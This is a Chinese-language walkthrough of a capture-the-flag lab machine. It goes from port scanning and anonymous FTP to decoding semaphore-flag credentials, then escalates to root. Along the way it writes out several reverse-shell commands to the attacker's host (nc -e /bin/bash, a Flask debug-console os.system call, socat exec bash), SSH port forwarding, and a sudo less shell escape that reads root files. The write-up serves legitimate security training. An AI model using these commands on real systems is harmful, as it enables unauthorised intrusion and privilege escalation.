声明
好好学习,天天向上
搭建
使用virtualbox打开,网络配置和我的PRESIDENTIAL文章一样,是要vmware和virtualbox互连
渗透
存活扫描,发现目标
arp-scan -l
nmap -sP 192.168.239.1/24
端口扫描
nmap -T4 -A 192.168.239.10 -p 1-65535 -oN nmap.A
开启端口
21,22,1337
以匿名用户登录ftp
三张图片分别是用户名密码和token,旗语吗?只在亮剑里面看过旗语
对照解密后:
username:semaphore
password:signalperson
hash:
sha256(semaphoresignalperson)= 833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26
token:38333361643438383436346465316132376435313266313034623633393235386537373930316631346561623730363136333036336433343035346137623236
nc连接1337端口,成功获取shell
nc 192.168.239.10 1337
用户名输入
semaphore
密码输入
signalperson
Token输入
833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26
这个命令行不是很友好考虑kali监听6666,使用nc反弹shell
kali监听6666
nc -lvvp 6666
刚刚的命令行执行
nc -e /bin/bash 192.168.239.7 6666
在home目录下发现flagman目录,这不就是让我进去看的吗,不过为啥看到flagman,我不由得想到duckman,拿到flagman的密码
i_hate_signals!
ssh连过去,并拿到第一个flag
ssh -p 22 flagman@192.168.239.10
通过sudo -l查看发现可以通过无密码以admiral身份执行一个文件,执行以下这个文件
sudo -l
sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py
开启了5000端口的flask,这是一个python的框架,以Debug模式运行。
5000为python flask,在ip/console可执行python代码。
访问靶机5000端口发现访问被拒绝,都连不*问不了,只能从本机访问。由于已经有了ssh连接的权限,考虑端口转发,将靶机5000端口通过ssh转发至kail的8001端口。
kali命令
行输入,转发
ssh -L 8001:127.0.0.1:5000 -fN flagman@192.168.239.10
现在访问kali的8001,相当于访问239.10的5000了
kali监听6667端口
nc -lvvp 6667
kali访问
http://127.0.0.1:8001/console
输入PIN(在flask日东的console中有)
182-189-520
输入python反弹shell
import os
os.system('nc -e /bin/bash 192.168.239.7 6667')
现在是提权到了admin,还没到root呢
再试试sudo -l
sudo -u root /usr/bin/less /var/public/warzone-rules.txt
执行后,一言难尽
Less的话是可以进行提权的,但是有一个要求是必须是交互式的shell
获取交互式shell
通过测试socat是可以使用的,socat可以创建交互式shell,创建的shell类似于ssh直接登录,非常好用
Kali执行
socat file:`tty`,raw,echo=0 tcp-listen:7777
靶机执行
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.239.7:7777
kali反弹shell后,再次执行
sudo -u root /usr/bin/less /var/public/warzone-rules.txt
这次就进入编辑页面的的编辑器中了,那么在编辑器中执行
!id
或者
!cat /root/Desktop/gold.txt
拿到flag,看看开了多少个终端框
总结
1.信息收集
端口发现22,21,1337
通过21,匿名登录ftp,发现旗语照片,百度解密后,拿到用户名密码token
2.web权限
无
3.shell权限
nc到1337,使用解密后的凭证登录
4.权限维持
反弹shell后,查看目录,拿到flag,并ssh登录
5.提权
使用sudo执行文件后,开启flask服务,该服务无法正常访问,于是通过linux设置代理,访问flask服务,利用该服务再次反弹shell,拿到权限
开启socat,并使用sudo执行文件,提到root,拿到flag